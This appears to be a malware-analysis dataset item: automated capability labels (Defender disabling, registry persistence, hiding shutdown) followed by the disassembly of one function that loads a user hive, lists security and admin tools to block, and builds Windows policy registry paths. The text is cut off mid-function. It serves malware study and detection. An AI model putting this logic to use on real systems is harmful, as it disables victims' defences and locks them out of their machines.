Function at 0x4011c0
Capabilities:
Contain obfuscated stackstrings
Disable system features via registry on windows
Disable windows defender features via registry on windows
Hide shutdown actions via policy
Identify system language via api
Parse credit card information
Persist via active setup registry key
Persist via command processor registry key
Persist via run registry key
Persist via windows service
Query or enumerate registry key
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415d28
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x810
mov eax, dword [0x41f00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x7b4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x401225
call esi
jmp 0x401296
lea eax, [ebp - 0x784]
push eax
push str.SeRestorePrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x401288
mov eax, dword [ebp - 0x784]
mov ecx, dword [ebp - 0x780]
push 0
push 0
push 0x10
mov dword [ebp - 0x538], eax
lea eax, [ebp - 0x53c]
push eax
push 0
push dword [ebp - 0x7b4]
mov dword [ebp - 0x53c], 1
mov dword [ebp - 0x534], ecx
mov dword [ebp - 0x530], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x40128a
call esi
push dword [ebp - 0x7b4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.C:usersdefaultNTUSER.DAT
push str.TEMP
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyA]
mov eax, dword [0x41b2ac]
movq xmm0, qword [str.powershell.exe]
mov dword [ebp - 0xb4], eax
movzx eax, word [0x41b2b0]
mov word [ebp - 0xb0], ax
movzx eax, byte [0x41b2b2]
mov byte [ebp - 0xae], al
movzx eax, word [0x41b2c4]
mov word [ebp - 0x224], ax
movzx eax, byte [0x41b2c6]
movq qword [ebp - 0xbc], xmm0
movups xmm0, xmmword [str.powershell_ise.exe]
mov byte [ebp - 0x222], al
mov eax, dword [0x41b2d0]
mov dword [ebp - 0x1f0], eax
mov eax, dword [0x41b2dc]
movups xmmword [ebp - 0x234], xmm0
mov dword [ebp - 0x1e4], eax
movq xmm0, qword [str.taskmgr.exe]
movzx eax, word [0x41b2f0]
movq qword [ebp - 0x1f8], xmm0
movq xmm0, qword [str.regedit.exe]
mov word [ebp - 0x238], ax
movzx eax, byte [0x41b2f2]
movq qword [ebp - 0x1ec], xmm0
movups xmm0, xmmword [str.SystemSettings.exe]
mov byte [ebp - 0x236], al
movzx eax, word [0x41b304]
mov word [ebp - 0x1fc], ax
movzx eax, byte [0x41b306]
movups xmmword [ebp - 0x248], xmm0
mov byte [ebp - 0x1fa], al
movups xmm0, xmmword [str.processmonitor.exe]
movzx eax, word [0x41b310]
mov word [ebp - 0x88], ax
movzx eax, byte [0x41b312]
movups xmmword [ebp - 0x20c], xmm0
mov byte [ebp - 0x86], al
movq xmm0, qword [str.chrome.exe]
movzx eax, word [0x41b32c]
movq qword [ebp - 0x90], xmm0
movups xmm0, xmmword [str.runassystem.exe]
mov word [ebp - 0x7c], ax
movzx eax, byte [0x41b32e]
movups xmmword [ebp - 0x3c4], xmm0
mov byte [ebp - 0x7a], al
movq xmm0, qword [str.msedge.exe]
mov eax, dword [0x41b338]
movq qword [ebp - 0x84], xmm0
movq xmm0, qword [str.explorer.exe]
mov dword [ebp - 0xdc], eax
movzx eax, byte [0x41b33c]
movq qword [ebp - 0xe4], xmm0
movq xmm0, qword [str.MsMpEng.exe]
mov byte [ebp - 0xd8], al
mov eax, dword [0x41b348]
mov dword [ebp - 0x52c], 0
mov dword [ebp - 0x524], 1
mov dword [ebp - 0x77c], 2
mov dword [ebp - 0x788], 4
mov dword [ebp - 0x778], 0x3ffffff
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x2c], 0x380000
mov dword [ebp - 0x28], 0x38e0
mov dword [ebp - 0x24], 0x46e00000
mov dword [ebp - 0x20], 0x3e0000
mov dword [ebp - 0x1c], 0x10000
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x78], 0x2e646d63
mov dword [ebp - 0x74], 0x657865
mov dword [ebp - 0x70], 0x2e636d6d
mov dword [ebp - 0x6c], 0x657865
movq qword [ebp - 0x1a4], xmm0
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x68], 0x2e6b736f
movzx eax, word [0x41b354]
movq xmm0, qword [str.sethc.exe]
mov word [ebp - 0x180], ax
mov eax, dword [0x41b360]
mov dword [ebp - 0x1d8], eax
mov eax, dword [0x41b36c]
mov dword [ebp - 0x1cc], eax
mov eax, dword [0x41b378]
mov dword [ebp - 0x1c0], eax
movzx eax, byte [0x41b384]
mov byte [ebp - 0xcc], al
mov eax, dword [0x41b390]
movq qword [ebp - 0x188], xmm0
movq xmm0, qword [str.notmuch.exe]
mov dword [ebp - 0xec], eax
movzx eax, byte [0x41b394]
movq qword [ebp - 0x1e0], xmm0
movq xmm0, qword [str.winnt32.exe]
mov byte [ebp - 0xe8], al
mov eax, dword [0x41b3a0]
mov dword [ebp - 0x10c], eax
movzx eax, byte [0x41b3a4]
movq qword [ebp - 0x1d4], xmm0
movq xmm0, qword [str.wscript.exe]
mov byte [ebp - 0x108], al
mov eax, dword [0x41b3b0]
movq qword [ebp - 0x1c8], xmm0
movq xmm0, qword [str.MEMZ.exe]
mov dword [ebp - 0x1a8], eax
movzx eax, word [0x41b3c4]
movq qword [ebp - 0xd4], xmm0
movq xmm0, qword [str.NoEscape.exe]
mov word [ebp - 0x368], ax
mov eax, dword [0x41b3d8]
movq qword [ebp - 0xf4], xmm0
movq xmm0, qword [str.monoxide.exe]
mov dword [ebp - 0x3a4], eax
mov eax, dword [0x41b3e4]
movq qword [ebp - 0x114], xmm0
movq xmm0, qword [str.runaway.exe]
mov dword [ebp - 0x11c], eax
movzx eax, byte [0x41b3e8]
movq qword [ebp - 0x1b0], xmm0
movups xmm0, xmmword [str.processhacker.exe]
mov byte [ebp - 0x118], al
movzx eax, word [0x41b3f4]
mov word [ebp - 0x94], ax
movzx eax, byte [0x41b3f6]
movups xmmword [ebp - 0x378], xmm0
mov byte [ebp - 0x92], al
movups xmm0, xmmword [str.processexplorer.exe]
mov eax, dword [0x41b400]
mov dword [ebp - 0x190], eax
movzx eax, word [0x41b404]
movups xmmword [ebp - 0x3b4], xmm0
mov word [ebp - 0x18c], ax
movq xmm0, qword [str.VirusCan.exe]
movzx eax, word [0x41b418]
movq qword [ebp - 0x124], xmm0
movq xmm0, qword [str.Spirit.exe]
mov word [ebp - 0x210], ax
movzx eax, byte [0x41b41a]
movq qword [ebp - 0x9c], xmm0
movq xmm0, qword [str.quantizer.exe]
mov byte [ebp - 0x20e], al
mov eax, dword [0x41b424]
movq qword [ebp - 0x198], xmm0
movups xmm0, xmmword [str.ChilledWindows.exe]
mov dword [ebp - 0xa4], eax
movzx eax, word [0x41b428]
movups xmmword [ebp - 0x220], xmm0
mov word [ebp - 0xa0], ax
movq xmm0, qword [str.trashclean.exe]
movzx eax, byte [0x41b42a]
mov dword [ebp - 0x64], 0x657865
mov dword [ebp - 0x60], 0x2e303030
mov dword [ebp - 0x5c], 0x657865
mov dword [ebp - 0x58], 0x2e474d4f
mov dword [ebp - 0x54], 0x657865
movq qword [ebp - 0xac], xmm0
mov byte [ebp - 0x9e], al
movzx eax, byte [0x41b434]
movq xmm0, qword [str.Busy.exe]
mov byte [ebp - 0xc0], al
movzx eax, byte [0x41b448]
mov byte [ebp - 0x354], al
mov eax, dword [0x41b454]
mov dword [ebp - 0x12c], eax
movzx eax, byte [0x41b458]
movq qword [ebp - 0xc8], xmm0
movups xmm0, xmmword [str.ShellDestroy.exe]
mov byte [ebp - 0x128], al
mov eax, dword [0x41b464]
movups xmmword [ebp - 0x364], xmm0
mov dword [ebp - 0x1b4], eax
movq xmm0, qword [str.shutdown.exe]
movzx eax, word [0x41b470]
movq qword [ebp - 0x134], xmm0
movq xmm0, qword [str.Melting.exe]
mov word [ebp - 0x174], ax
movzx eax, word [0x41b47c]
movq qword [ebp - 0x1bc], xmm0
movq xmm0, qword [str.Spark.exe]
mov word [ebp - 0x168], ax
mov eax, dword [0x41b488]
mov dword [ebp - 0xfc], eax
movzx eax, byte [0x41b48c]
movq qword [ebp - 0x17c], xmm0
movq xmm0, qword [str.Hydra.exe]
mov byte [ebp - 0xf8], al
mov eax, dword [str..exe]
movq qword [ebp - 0x170], xmm0
movq xmm0, qword [str.iexplore.exe]
mov dword [ebp - 0x48], eax
movzx eax, word [0x41b494]
movq qword [ebp - 0x104], xmm0
movups xmm0, xmmword [str.C:WindowsWindows10UpgradeComponentseye.ico]
mov word [ebp - 0x44], ax
mov eax, dword [0x41b4c0]
mov dword [ebp - 0x13c], eax
movzx eax, word [0x41b4c4]
movups xmmword [ebp - 0x164], xmm0
mov word [ebp - 0x138], ax
movups xmm0, xmmword [0x41b4a8]
mov eax, dword [0x41b4f8]
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x7ac]
push eax
movups xmmword [ebp - 0x154], xmm0
lea eax, [ebp - 0x54c]
mov dword [ebp - 0x50], 0x2e45504e
movq xmm0, qword [0x41b4b8]
push 0
movq qword [ebp - 0x144], xmm0
movups xmm0, xmmword [str.C:WindowsWindows10UpgradeComponentsWallPaper.png]
push 0
push 0
movups xmmword [ebp - 0x44c], xmm0
push eax
movups xmm0, xmmword [0x41b4d8]
lea eax, [ebp - 0x350]
mov dword [ebp - 0x4c], 0x657865
push eax
movups xmmword [ebp - 0x43c], xmm0
push 0
movups xmm0, xmmword [0x41b4e8]
push 0x80000003
mov dword [ebp - 0x78c], 0x455945
movups xmmword [ebp - 0x42c], xmm0
mov dword [ebp - 0x7b8], 0
mov dword [ebp - 0x54c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x405325
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x7a4], eax
mov edi, 0x411
mov dword [ebp - 0x794], eax
mov dword [ebp - 0x790], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x7a4], al
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4018f0
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x7a4]
call fcn.00405f00
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x7a4]
cmp dword [ebp - 0x790], 0x10
mov eax, dword [ebp - 0x7a4]
cmovae ecx, eax
mov dword [ebp - 0x7b4], eax
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x804], ecx
cmp eax, 7
jb 0x4019ce
add eax, 0xfffffffa
add eax, ecx
mov dword [ebp - 0x808], eax
sub eax, ecx
push eax
push 0x43
push ecx
call fcn.00415b60
add esp, 0xc
test eax, eax
je 0x4019ce
mov edx, eax
mov esi, str.Classes
mov edi, 3
mov ecx, dword [edx]
cmp ecx, dword [esi]
jne 0x40197c
add edx, 4
add esi, 4
or edi, 0xffffffff
mov cl, byte [edx]
cmp cl, byte [esi]
jne 0x4019a3
mov cl, byte [edx + 1]
cmp cl, byte [esi + 1]
jne 0x4019a3
mov cl, byte [edx + 2]
cmp cl, byte [esi + 2]
jne 0x4019a3
cmp edi, 0xffffffff
je 0x40199f
mov cl, byte [edx + 3]
cmp cl, byte [esi + 3]
jne 0x4019a3
xor ecx, ecx
jmp 0x4019a8
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x40219d
mov ecx, dword [ebp - 0x808]
inc eax
sub ecx, eax
push ecx
push 0x43
push eax
call fcn.00415b60
add esp, 0xc
test eax, eax
jne 0x401961
mov edi, 0x411
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x774], 0
mov dword [ebp - 0x764], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x760], 0xf
mov byte [ebp - 0x774], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401a00
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x774]
call fcn.00405f00
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x75c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x74c], 0
mov dword [ebp - 0x748], 0xf
mov byte [ebp - 0x75c], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401a50
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x75c]
call fcn.00405f00
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x744], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x734], 0
mov dword [ebp - 0x730], 0xf
mov byte [ebp - 0x744], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401aa0
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x744]
call fcn.00405f00
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x72c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x71c], 0
mov dword [ebp - 0x718], 0xf
mov byte [ebp - 0x72c], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401af0
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x72c]
call fcn.00405f00
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x564], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x554], 0
mov dword [ebp - 0x550], 0xf
mov byte [ebp - 0x564], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401b40
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x564]
call fcn.00405f00
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x714], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x704], 0
mov dword [ebp - 0x700], 0xf
mov byte [ebp - 0x714], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401b90
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x714]
call fcn.00405f00
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x6fc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6ec], 0
mov dword [ebp - 0x6e8], 0xf
mov byte [ebp - 0x6fc], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401be0
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x6fc]
call fcn.00405f00
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x6e4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6d4], 0
mov dword [ebp - 0x6d0], 0xf
mov byte [ebp - 0x6e4], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401c30
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x6e4]
call fcn.00405f00
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x6cc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6bc], 0
mov dword [ebp - 0x6b8], 0xf
mov byte [ebp - 0x6cc], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401c80
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x6cc]
call fcn.00405f00
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x6b4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6a4], 0
mov dword [ebp - 0x6a0], 0xf
mov byte [ebp - 0x6b4], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401cd0
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x6b4]
call fcn.00405f00
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x69c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x68c], 0
mov dword [ebp - 0x688], 0xf
mov byte [ebp - 0x69c], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401d20
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x69c]
call fcn.00405f00
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x684], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x674], 0
mov dword [ebp - 0x670], 0xf
mov byte [ebp - 0x684], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401d70
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x684]
call fcn.00405f00
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x66c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x65c], 0
mov dword [ebp - 0x658], 0xf
mov byte [ebp - 0x66c], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401dc0
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x66c]
call fcn.00405f00
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x654], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x644], 0
mov dword [ebp - 0x640], 0xf
mov byte [ebp - 0x654], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401e10
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x654]
call fcn.00405f00
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x63c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x62c], 0
mov dword [ebp - 0x628], 0xf
mov byte [ebp - 0x63c], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401e60
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x63c]
call fcn.00405f00
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x624], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x614], 0
mov dword [ebp - 0x610], 0xf
mov byte [ebp - 0x624], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401eb0
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x624]
call fcn.00405f00
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x60c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x5fc], 0
mov dword [ebp - 0x5f8], 0xf
mov byte [ebp - 0x60c], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401f00
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x60c]
call fcn.00405f00
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x5f4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x5e4], 0
mov dword [ebp - 0x5e0], 0xf
mov byte [ebp - 0x5f4], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401f50
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x5f4]
call fcn.00405f00
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x57c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x56c], 0
mov dword [ebp - 0x568], 0xf
mov byte [ebp - 0x57c], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401fa0
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x57c]
call fcn.00405f00
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x5dc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x5cc], 0
mov dword [ebp - 0x5c8], 0xf
mov byte [ebp - 0x5dc], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401ff0
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x5dc]
call fcn.00405f00
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x544], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x534], 0
mov dword [ebp - 0x530], 0xf
mov byte [ebp - 0x544], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402040
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x544]
call fcn.00405f00
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x5c4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x5b4], 0
mov dword [ebp - 0x5b0], 0xf
mov byte [ebp - 0x5c4], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402090
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x5c4]
call fcn.00405f00
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x5ac], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x59c], 0
mov dword [ebp - 0x598], 0xf
mov byte [ebp - 0x5ac], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020e0
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x5ac]
call fcn.00405f00
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x594], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x584], 0
mov dword [ebp - 0x580], 0xf
mov byte [ebp - 0x594], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402130
sub ecx, edx
lea eax, [ebp - 0x350]
push ecx
push eax
lea ecx, [ebp - 0x594]
call fcn.00405f00
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x5b0]
mov eax, edx
mov ecx, dword [ebp - 0x5b4]
sub eax, ecx
push 0x24
push str.SOFTWAREPoliciesMicrosoftWindows
cmp eax, 0x24
jb 0x40223e
cmp edx, 0x10
lea esi, [ebp - 0x5c4]
lea eax, [ecx + 0x24]
cmovae esi, dword [ebp - 0x5c4]
add esi, ecx
mov dword [ebp - 0x5b4], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x24], 0
jmp 0x402258
sub eax, dword [ebp - 0x804]
cmp eax, 0xffffffff
je 0x4019c9
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x790]
cmp eax, 0x10
jb 0x4021ef
mov ecx, dword [ebp - 0x7b4]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x4021e5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x7b8]
lea ecx, [ebp - 0x7ac]
push ecx
push 0
push 0
push 0
lea ecx, [ebp - 0x54c]
mov dword [ebp - 0x54c], 0x104
push ecx
lea ecx, [ebp - 0x350]
inc eax
push ecx
push eax
push 0x80000003
mov dword [ebp - 0x7b8], eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x4018bd
mov byte [ebp - 0x800], 0
lea ecx, [ebp - 0x5c4]
push dword [ebp - 0x800]
push 0x24
call fcn.00406040
mov edx, dword [ebp - 0x760]
mov eax, edx
mov ecx, dword [ebp - 0x764]
sub eax, ecx
push 0x3a
push 0x41b52c
cmp eax, 0x3a
jb 0x40229e
cmp edx, 0x10
lea esi, [ebp - 0x774]
lea eax, [ecx + 0x3a]
cmovae esi, dword [ebp - 0x774]
add esi, ecx
mov dword [ebp - 0x764], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x3a], 0
jmp 0x4022b8
mov byte [ebp - 0x7fc], 0
lea ecx, [ebp - 0x774]
push dword [ebp - 0x7fc]
push 0x3a
call fcn.00406040
mov edx, dword [ebp - 0x748]
mov eax, edx
mov ecx, dword [ebp - 0x74c]
sub eax, ecx
push 0x3c
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer
cmp eax, 0x3c
jb 0x4022fe
cmp edx, 0x10
lea esi, [ebp - 0x75c]
lea eax, [ecx + 0x3c]
cmovae esi, dword [ebp - 0x75c]
add esi, ecx
mov dword [ebp - 0x74c], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x3c], 0
jmp 0x402318
mov byte [ebp - 0x7e4], 0
lea ecx, [ebp - 0x75c]
push dword [ebp - 0x7e4]
push 0x3c
call fcn.00406040
mov edx, dword [ebp - 0x730]
mov eax, edx
mov ecx, dword [ebp - 0x734]
sub eax, ecx
push 0x48
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun
cmp eax, 0x48
jb 0x40235e
cmp edx, 0x10
lea esi, [ebp - 0x744]
lea eax, [ecx + 0x48]
cmovae esi, dword [ebp - 0x744]
add esi, ecx
mov dword [ebp - 0x734], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x48], 0
jmp 0x402378
mov byte [ebp - 0x80c], 0
lea ecx, [ebp - 0x744]
push dword [ebp - 0x80c]
push 0x48
call fcn.00406040
mov edx, dword [ebp - 0x718]
mov eax, edx
mov ecx, dword [ebp - 0x71c]
sub eax, ecx
push 0x3d
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesWinOldApp
cmp eax, 0x3d
jb 0x4023be
cmp edx, 0x10
lea esi, [ebp - 0x72c]
lea eax, [ecx + 0x3d]
cmovae esi, dword [ebp - 0x72c]
add esi, ecx
mov dword [ebp - 0x71c], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x3d], 0
jmp 0x4023d8
mov byte [ebp - 0x7f8], 0
lea ecx, [ebp - 0x72c]
push dword [ebp - 0x7f8]
push 0x3d
call fcn.00406040
mov edx, dword [ebp - 0x550]
mov eax, edx
mov ecx, dword [ebp - 0x554]
sub eax, ecx
push 0x3b
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesNetwork
cmp eax, 0x3b
jb 0x40241e
cmp edx, 0x10
lea esi, [ebp - 0x564]
lea eax, [ecx + 0x3b]
cmovae esi, dword [ebp - 0x564]
add esi, ecx
mov dword [ebp - 0x554], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x3b], 0
jmp 0x402438
mov byte [ebp - 0x81c], 0
lea ecx, [ebp - 0x564]
push dword [ebp - 0x81c]
push 0x3b
call fcn.00406040
mov edx, dword [ebp - 0x700]
mov eax, edx
mov ecx, dword [ebp - 0x704]
sub eax, ecx
push 0x41
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesActiveDesktop
cmp eax, 0x41
jb 0x40247e
cmp edx, 0x10
lea esi, [ebp - 0x714]
lea eax, [ecx + 0x41]
cmovae esi, dword [ebp - 0x714]
add esi, ecx
mov dword [ebp - 0x704], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x41], 0
jmp 0x402498
mov byte [ebp - 0x7f4], 0
lea ecx, [ebp - 0x714]
push dword [ebp - 0x7f4]
push 0x41
call fcn.00406040
mov edx, dword [ebp - 0x6e8]
mov eax, edx
mov ecx, dword [ebp - 0x6ec]
sub eax, ecx
push 0x51
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesInternetExplorerRestrictions
cmp eax, 0x51
jb 0x4024de
cmp edx, 0x10
lea esi, [ebp - 0x6fc]
lea eax, [ecx + 0x51]
cmovae esi, dword [ebp - 0x6fc]
add esi, ecx
mov dword [ebp - 0x6ec], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x51], 0
jmp 0x4024f8
mov byte [ebp - 0x7f0], 0
lea ecx, [ebp - 0x6fc]
push dword [ebp - 0x7f0]
push 0x51
call fcn.00406040
mov edx, dword [ebp - 0x6d0]
mov eax, edx
mov ecx, dword [ebp - 0x6d4]
sub eax, ecx
push 0x52
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesInternetExplorerControl_Panel
cmp eax, 0x52
jb 0x40253e
cmp edx, 0x10
lea esi, [ebp - 0x6e4]
lea eax, [ecx + 0x52]
cmovae esi, dword [ebp - 0x6e4]
add esi, ecx
mov dword [ebp - 0x6d4], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x52], 0
jmp 0x402558
mov byte [ebp - 0x7ec], 0
lea ecx, [ebp - 0x6e4]
push dword [ebp - 0x7ec]
push 0x52
call fcn.00406040
mov edx, dword [ebp - 0x6b8]
mov eax, edx
mov ecx, dword [ebp - 0x6bc]
sub eax, ecx
push 0x41
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesWindowsUpdate
cmp eax, 0x41
jb 0x40259e
cmp edx, 0x10
lea esi, [ebp - 0x6cc]
